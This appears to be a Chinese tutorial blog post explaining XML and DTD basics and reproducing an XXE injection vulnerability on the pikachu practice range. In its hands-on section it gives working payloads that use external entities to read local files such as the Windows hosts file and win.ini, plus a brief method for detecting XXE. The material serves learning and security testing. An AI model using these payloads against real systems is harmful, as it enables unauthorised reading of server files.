当前位置: 首页 > news >正文

XXE漏洞复现

目录

  • XML基础
    • 概念
    • XML数据格式
  • DTD基础
    • 定义
    • DTD作用
    • 分类
    • DTD实体
    • 实体的分类
    • DTD元素
  • XXE漏洞
    • 介绍
    • 实操
    • 如何探测xxe漏洞

XML基础

概念

  • 什么是XML

    • 是一种可扩展标记语言 (Extensible Markup Language, XML) ,标准通用标记语言的子集,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
  • 特点

    • 是一种标记语言
    • 被设计来进行数据传输
    • 可以自定义标签
    • 具有层级结构
    • 具有自我描述性

XML数据格式

声明

<?xml version="1.0" encoding="UTF-8" ?>

元素/节点
(1)根节点: 有且只有一个根元素
(2)子节点: 可以嵌套,可以重复
(3)每个节点必须成对出现,空节点也必须成对出现
属性
(1)每个元素/节点可以有多个属性
(2)属性以键值对的方式出现:名称=“值”。属性的值添加双引号,多个属性以空格分开。

注释: <!--  注释内容  -->

DTD基础

定义

DTD全称是The document type definition,即是文档类型定义,可定义合法的XML文档
它使用一系列合法的元素来定义文档的结构。DTD可以被成行的声明于XML

DTD作用

1.一个应用程序keyishiyongDTD来确认收到的XML数据是有效的
2.每一个XML文件可以携带一个自身格式的描述
3.不同组织的人可以使用一个通用DTD来交换数据

分类

DTD分为:内部DTD、外部DTD、共有DTD

  • 内部DTD
    • 存在xml文档中的
      在这里插入图片描述
      DOCTYPE:DTD声明,对note进行说明
      以上
<!DOCTYPE NOTE [
- ]>

都为DTD

  • 外部DTD
    在这里插入图片描述
    可以看出把DTD写到了"note.dtd"中

  • 共有DTD

<!DOCTYPE taglib PUBLIC "-//Sun Microsystems,Inc.//DTD JSP Tag Library 1.2//EN""http://java.sun.com/dtd/web-jsplibrary_1_2.dtd">

DTD实体

实体的概念:实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。

实体可在内部或外部进行声明。

实体的分类

分类:内部实体,外部实体、参数实体

  • 内部实体:
<!ENTITY实体名称 "实体的值">
  • 外部实体:
<!ENTITY实体名称SYSTEM "URL">
  • 参数实体
<!ENTITY % 实体名称 [SYSTEM] "URL">
<!ENTITY % TAG_NAME "姓名|EMAIL|电话|地址">
<!ELEMENT 个人信息 (%TAG_NAME; |生日)>
<!ELEMENT 客户信息 (%TAG_NAME; |公司名)>

DTD元素

声明一个元素<!ENTITY 元素名称 类别><!ELEMENT 元素名称(元素内容)>
空元素<!ENTITY 元素名称 EMPTY><!ELEMENT <br> EMPTY> <br/>
只有PCDATA的元素<!ENTITY 元素名称 (#PCDATA)><!ELEMENT from (#PCDATA)>
带任何内容的元素<!ENTITY 元素名称 ANY><!ELEMENT note ANY>
带有子元素(序列)的元素<!ENTITY 元素名称 (子元素名称1,子元素名称2,........)><!ELEMENT note(to,from,heading,body)>

XXE漏洞

介绍

  • XXE -“xml external entity injection”
  • “xml外部实体注入漏洞”

利用xxe漏洞可以进行拒绝服务攻击(DDos),文件读取,命令(代码)执行,SQL(XSS)注入,等

一般的xml:

第一部分:XML声明部分

<?xml version="**"?>

第二部分:文档类型定义 DTD

<!--定义此文档是note类型的文档-->
<!DOCTYPE note[
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
]>

第三部分:文档元素

<note>
<to>nuc</to>
<from>grade20</from>
<head>2013040212</head>
<body>wpp</body>
</note>

实操

进入pikachu靶场
提交一个xml

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY hack "Edison.W"> ]> <name>&hack;</name>

在这里插入图片描述
外部实体引入攻击载荷使其访问host文件

<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY f SYSTEM "file:///C://Windows/System32/drivers/etc/hosts">
]>
<x>&f;</x>

在这里插入图片描述
再来一个,我们这次访问win.ini

<?xml version="1.0"?>
<!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<xml>&xxe;</xml>

在这里插入图片描述

如何探测xxe漏洞

  • 抓包,如果是xml格式的body,则发送一个<元素>数据</元素>
  • 能回显,就可能存在XXE漏洞

相关文章:

XXE漏洞复现

目录XML基础概念XML数据格式DTD基础定义DTD作用分类DTD实体实体的分类DTD元素XXE漏洞介绍实操如何探测xxe漏洞XML基础 概念 什么是XML 是一种可扩展标记语言 (Extensible Markup Language, XML) &#xff0c;标准通用标记语言的子集&#xff0c;可以用来标记数据、定义数据类型…...

初识C++需要了解的一些东西(2)

&#x1f601;关注博主&#xff1a;翻斗花园第一代码手牛爷爷 &#x1f603;Gitee仓库&#xff1a;牛爷爷爱写代码 目录&#x1f30d;内联函数&#x1f315;内联函数概念&#x1f316;内联函数特性&#x1f313;auto关键字(C11)&#x1f31e;类型别名⭐️auto简介☀️auto的使…...

全国程序员薪酬大曝光!看完我酸了····

2023年&#xff0c;随着互联网产业的蓬勃发展&#xff0c;程序员作为一个自带“高薪多金”标签的热门群体&#xff0c;被越来越多的人所关注。在过去充满未知的一年中&#xff0c;他们的职场现状发生了一定的改变。那么&#xff0c;程序员岗位的整体薪资水平、婚恋现状、职业方…...

改进YOLO系列 | CVPR2023最新Backbone | FasterNet 远超 ShuffleNet、MobileNet、MobileViT 等模型

论文地址:https://export.arxiv.org/pdf/2303.03667v1.pdf 为了设计快速神经网络,许多工作都集中在减少浮点运算(FLOPs)的数量上。然而,作者观察到FLOPs的这种减少不一定会带来延迟的类似程度的减少。这主要源于每秒低浮点运算(FLOPS)效率低下。并且,如此低的FLOPS主要…...

Nginx常见用法

一、Niginx是什么&#xff1f; Nginx是一个高性能的HTTP和反向代理web服务器&#xff0c;同时也提供了IMAP/POP3/SMTP服务。Niginx是一款轻量级的web服务器/反向代理器&#xff0c;Nginx是高性能的HTTP和 反向代理的web服务器&#xff0c;处理高并发的能力十分强大&#xff0c…...

MySQL存储引擎和日志管理

MySQL存储引擎和日志管理一、存储引擎的概念1、Myisam的特点2、Myisam表支持 3 种不同的存储格式3、innodb4、死锁5、查看系统支持的存储引擎6、查看表使用的存储引擎7、修改存储引擎8、通过 create table 创建表时指定存储引擎二、日志管理1、错误日志2、通用查询日志3、慢查询…...

Arduino 驱动DS1307时钟模块使用介绍

Arduino 驱动DS1307时钟模块使用介绍 🔖DS1307时钟模块 📍DS1307时钟模块资料 https://pan.baidu.com/s/1mtXruLAktZj7UDhFD54BNw 提取码:d9xh 📋模块简介:DS1307 I2C实时时钟芯片(RTC) 24C32 32K I2C EEPROM存储器 解决DS1307带备用电池不能读写的问题。 充满电后,…...

为什么 Python 没有 main 函数?

众所周知&#xff0c;Python中没有所谓的main函数&#xff0c;但是网上经常有文章提到“ Python的main函数”和“建议编写main函数”。 其实&#xff0c;可能他们是想模仿真正的main函数&#xff0c;但是许多人都被误导&#xff08;或误解&#xff09;&#xff0c;然后编写了非…...

【无标题】使用Bibtex4word 整理毕业论文参考文献

Bibtex4Word使用一览需要安装和配置的软件texLiveBibtex4word需要安装和配置的软件 texLive 这个就不多说啦&#xff0c;大家自己找教程安装吧&#xff0c;因为我之前装过这一系列所以就不再来一遍了&#xff0c;但是有两条配置需要注意&#xff01; 添加环境变量 key: BIB…...

19--网络API(java版)

什么是网络API在一个网站里面发起https请求是很常见的&#xff0c;但是&#xff0c;由于微信小程序是腾讯内部的产品&#xff0c;不能直接打开一个外部的链接&#xff0c;例如&#xff0c;您在微信小程序里面无法直接打开网站&#xff0c;但是&#xff0c;在做小程序开发的时候…...

ElasticSearch - 分片内部原理之动态更新索引、近实时搜索、持久化变更、段合并

文章目录01. ElasticSearch 倒排索引是什么&#xff1f;02. ElasticSearch 倒排索引为什么是不可变的&#xff1f;03. ElasticSearch 索引文档原理&#xff1f;04. ElasticSearch 如何动态更新索引&#xff1f;05. ElasticSearch 文档的新增、删除、更新&#xff1f;06. Elasti…...

模拟数据采集卡之ADCTDC 模拟时间/数字转换器组合应用选型指南

简介 产品组合包括一系列多功能时间到数字转换器(TDC)和模数转换器(ADC)。我们的许多客户的应用场景依赖于对飞行时 间(TOF)的测量。该系列产品非常适合用于质谱系统(TOF-MS)&#xff0c;光学相干断层扫描(OCT)&#xff0c;荧光寿命成像显微镜(FLIM)&#xff0c; 时间相关单光子…...

R语言编程基础

文章目录安装运算符判断函数递归安装 根据自己的操作系统&#xff0c;下载R语言环境后&#xff0c;安装&#xff0c;并将安装路径加入到环境变量&#xff0c;即可从命令行进入R环境 >rR version 4.2.2 (2022-10-31 ucrt) -- "Innocent and Trusting" Copyright …...

2023-03-15:屏幕录制并且显示视频,不要用命令。代码用go语言编写。

2023-03-15&#xff1a;屏幕录制并且显示视频&#xff0c;不要用命令。代码用go语言编写。 答案2023-03-15&#xff1a; 使用moonfdd/ffmpeg-go和moonfdd/sdl2-go库来实现屏幕录制并显示视频&#xff0c;大体流程如下&#xff1a; 1.使用libavdevice库中的AVInputFormat&…...

STM32外设-DMA

1. 简介 DMA(Direct Memory Access)—直接存储器存取&#xff0c;是单片机的一个外设&#xff0c;它的主要功能是用来搬数据&#xff0c;但是不需要占用 CPU&#xff0c;即在传输数据的时候&#xff0c; CPU 可以干其他的事情&#xff0c;好像是多线程一样。数据传输支持从外设…...

【面试题】面试官:如果后端给你 1w 条数据,你如何做展示?

最近一位朋友参加阿b的面试&#xff0c;然后面试官问了她这个问题&#xff0c;我问她咋写的&#xff0c;她一脸淡定的说&#xff1a;“虚拟列表。”大厂面试题分享 面试题库前后端面试题库 &#xff08;面试必备&#xff09; 推荐&#xff1a;★★★★★地址&#xff1a;前端面…...

第十二届蓝桥杯省赛详解

试题A&#xff1a;空间 1B是8位&#xff0c;32位二进制数占用4B空间&#xff0c;1MB2^10KB2^20B 那么可以存放32位二进制数的个数为256*2^20*8/3267108864 试题B&#xff1a;卡片 分析&#xff1a;因为数据只有2021&#xff0c;所以直接模拟即可 结果为&#xff1a;3181&…...

ssh创建秘钥对

1. 使用ssh-keygen 生成秘钥对 [root6zix89b87qmvuv ~]# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): 按回车键或设置密钥的存储路径 Enter passphrase (empty for no passphrase): 按回车键或设置密钥的存…...

JS中sort()方法返回值?

参考 https://segmentfault.com/q/1010000043489928 精辟解释 就是说 sort() 会修改原数组项的排序&#xff0c;sort() 结束后会返回一个数组结果&#xff0c;这个结果其实就是原数组。并不是说会返回一个新的数组。 原理讲解 JS 分为栈内存和堆内存&#xff0c;栈内存可以…...

07从零开始学Java之如何正确的编写Java代码?

作者&#xff1a;孙玉昌&#xff0c;昵称【一一哥】&#xff0c;另外【壹壹哥】也是我哦CSDN博客专家、万粉博主、阿里云专家博主、掘金优质作者前言在上一篇文章中&#xff0c;壹哥带领大家开始编写了第一个Java案例&#xff0c;在我们的cmd命令窗口中输出了”Hello World“这…...

零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?

一、核心优势&#xff1a;专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发&#xff0c;是一款收费低廉但功能全面的Windows NAS工具&#xff0c;主打“无学习成本部署” 。与其他NAS软件相比&#xff0c;其优势在于&#xff1a; 无需硬件改造&#xff1a;将任意W…...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器

一.自适应梯度算法Adagrad概述 Adagrad&#xff08;Adaptive Gradient Algorithm&#xff09;是一种自适应学习率的优化算法&#xff0c;由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率&#xff0c;适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...

CMake基础:构建流程详解

目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

基于Uniapp开发HarmonyOS 5.0旅游应用技术实践

一、技术选型背景 1.跨平台优势 Uniapp采用Vue.js框架&#xff0c;支持"一次开发&#xff0c;多端部署"&#xff0c;可同步生成HarmonyOS、iOS、Android等多平台应用。 2.鸿蒙特性融合 HarmonyOS 5.0的分布式能力与原子化服务&#xff0c;为旅游应用带来&#xf…...

今日科技热点速览

&#x1f525; 今日科技热点速览 &#x1f3ae; 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售&#xff0c;主打更强图形性能与沉浸式体验&#xff0c;支持多模态交互&#xff0c;受到全球玩家热捧 。 &#x1f916; 人工智能持续突破 DeepSeek-R1&…...

【论文阅读28】-CNN-BiLSTM-Attention-(2024)

本文把滑坡位移序列拆开、筛优质因子&#xff0c;再用 CNN-BiLSTM-Attention 来动态预测每个子序列&#xff0c;最后重构出总位移&#xff0c;预测效果超越传统模型。 文章目录 1 引言2 方法2.1 位移时间序列加性模型2.2 变分模态分解 (VMD) 具体步骤2.3.1 样本熵&#xff08;S…...

如何理解 IP 数据报中的 TTL?

目录 前言理解 前言 面试灵魂一问&#xff1a;说说对 IP 数据报中 TTL 的理解&#xff1f;我们都知道&#xff0c;IP 数据报由首部和数据两部分组成&#xff0c;首部又分为两部分&#xff1a;固定部分和可变部分&#xff0c;共占 20 字节&#xff0c;而即将讨论的 TTL 就位于首…...

零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)

本期内容并不是很难&#xff0c;相信大家会学的很愉快&#xff0c;当然对于有后端基础的朋友来说&#xff0c;本期内容更加容易了解&#xff0c;当然没有基础的也别担心&#xff0c;本期内容会详细解释有关内容 本期用到的软件&#xff1a;yakit&#xff08;因为经过之前好多期…...

CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝

目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为&#xff1a;一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...